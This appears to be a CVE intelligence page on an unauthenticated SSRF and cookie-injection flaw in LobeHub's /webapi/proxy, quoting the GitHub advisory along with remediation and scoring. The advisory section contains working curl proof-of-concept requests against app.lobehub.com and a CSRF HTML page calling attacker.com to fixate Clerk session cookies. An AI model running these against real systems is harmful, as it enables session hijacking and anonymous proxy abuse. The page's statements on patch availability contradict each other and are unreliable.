Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify exposed /webapi/proxy endpoint
-
DeliveryHost attacker-controlled URL with Set-Cookie
-
ExploitLure victim to CSRF page
-
InstallBrowser POSTs URL to proxy
-
C2Proxy fetches attacker server and reflects headers
-
ExecuteVictim browser stores forged __session cookie on lobehub.com
-
ImpactAttacker rides fixated Clerk session post-login
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires only that the LobeHub instance expose the |
| Impact | Real-world risk is high and the supplied CVSS 9.0 score understates one important dimension while overstating another. The vector |
| Exploit ScenarioDerived | An attacker hosts a small HTML page that auto-submits a |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 16, 2026
Unauthenticated server-side request forgery in LobeHub's /webapi/proxy endpoint (versions <= 2.1.56) allows any remote attacker to proxy arbitrary HTTP requests through LobeHub's infrastructure and inject attacker-controlled Set-Cookie headers onto the lobehub.com domain. The flaw stems from the route handler omitting the checkAuth() wrapper that protects every other webapi route, enabling SSRF, infrastructure reconnaissance against Vercel internals, and a CSRF-to-session-fixation chain against Clerk auth cookies. Publicly available exploit code exists (working curl PoCs and a CSRF HTML PoC are included in the GitHub Security Advisory GHSA-xmwj-c75x-6346); no public exploit identified at time of analysis in CISA KEV.
RemediationAI
Upgrade @lobehub/lobehub to vendor-released patch version 2.1.57 or later, which adds the missing checkAuth() wrapper to src/app/(backend)/webapi/proxy/route.ts consistent with the other webapi routes; the advisory at https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346 is the authoritative reference. If patching cannot be performed immediately, block the POST /webapi/proxy endpoint at the edge (WAF, Vercel rewrite, or reverse proxy) since the reporter notes preview functionality could be handled client-side without server proxying - the trade-off is loss of any URL-preview feature relying on server-side fetch. As an additional hardening control, strip or filter upstream Set-Cookie headers in any remaining proxy paths to neutralize the cookie-injection-to-session-fixation chain, accepting that legitimate cookie passthrough (uncommon for preview proxies) would also be lost.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LobeHub is an open-source AI chat/agent framework built on Next.js and deployed on Vercel; authentication is handled via Clerk, which stores session state in __session, __clerk_db_jwt, and __client_uat cookies. The vulnerable file src/app/(backend)/webapi/proxy/route.ts exposes a POST handler that reads a URL from the request body and calls ssrfSafeFetch(), but unlike sibling routes under /webapi/chat/*, /webapi/models/*, and /webapi/create-image/* it does not wrap the handler in checkAuth(). Compounding this, the Next.js defaultMiddleware() short-circuits with NextResponse.next() for any path starting with /webapi/, so middleware-level auth is also bypassed. The root cause maps to CWE-918 (SSRF), and the cookie-injection variant additionally relies on the proxy transparently forwarding upstream Set-Cookie headers (stripping only Content-Encoding and Content-Length). The package identifier is pkg:npm/@lobehub/lobehub.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
Network-reachable endpoint with no auth (PR:N, AV:N, AC:L); cookie injection across app.lobehub.com→lobehub.com is a scope change with high integrity impact, limited confidentiality via SSRF info leak, no availability impact.
Primary rating from Vendor (https://github.com/lobehub/lobehub).
CVSS VectorVendor: https://github.com/lobehub/lobehub
DescriptionCVE.org
Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com
Summary
The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured - it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.
Vulnerability Details
Type: Server-Side Request Forgery (CWE-918) Affected Endpoint: POST /webapi/proxy Vulnerable File: src/app/(backend)/webapi/proxy/route.ts
The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes - defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.
Steps to Reproduce
Fetch an external URL through the proxy (no auth, no cookies, no tokens):
curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
-d "https://httpbin.org/ip" \
"https://app.lobehub.com/webapi/proxy"<img width="1069" height="297" alt="image" src="https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18" />
Response:
{"origin": "3.14.141.44"}This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.
Inject a cookie on the lobehub.com domain:
curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
-d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
"https://app.lobehub.com/webapi/proxy"The response headers include:
set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly<img width="1215" height="340" alt="image" src="https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903" />
The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable - these are the cookie names used by Clerk for authentication.
CSRF to cookie injection (no user interaction beyond visiting a page):
An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.
<form id=f action="https://app.lobehub.com/webapi/proxy"
method=POST enctype="text/plain">
<input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.
Impact
The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:
An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector - the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.
The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.
The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.
Recommended Fix
Add checkAuth() to the proxy route, matching every other webapi route:
- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.
Executive ViewAI
LobeHub versions 2.1.56 and earlier contain an unauthenticated vulnerability enabling remote attackers to intercept user sessions and compromise Clerk authentication cookies without valid credentials, directly threatening account security across your deployment. Publicly available exploit code exists. Any organization running LobeHub faces immediate risk of large-scale unauthorized access to user accounts.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable or restrict public access to /webapi/proxy endpoint through network segmentation or WAF rules; (2) enable comprehensive logging and alerting on Clerk authentication endpoints for suspicious session or cookie modifications; (3) implement rate-limiting on the proxy endpoint to reduce attack surface; (4) maintain vigilant monitoring of LobeHub advisories and prepare immediate upgrade workflow for patch deployment.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
EUVD-2026-38555
GHSA-xmwj-c75x-6346
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB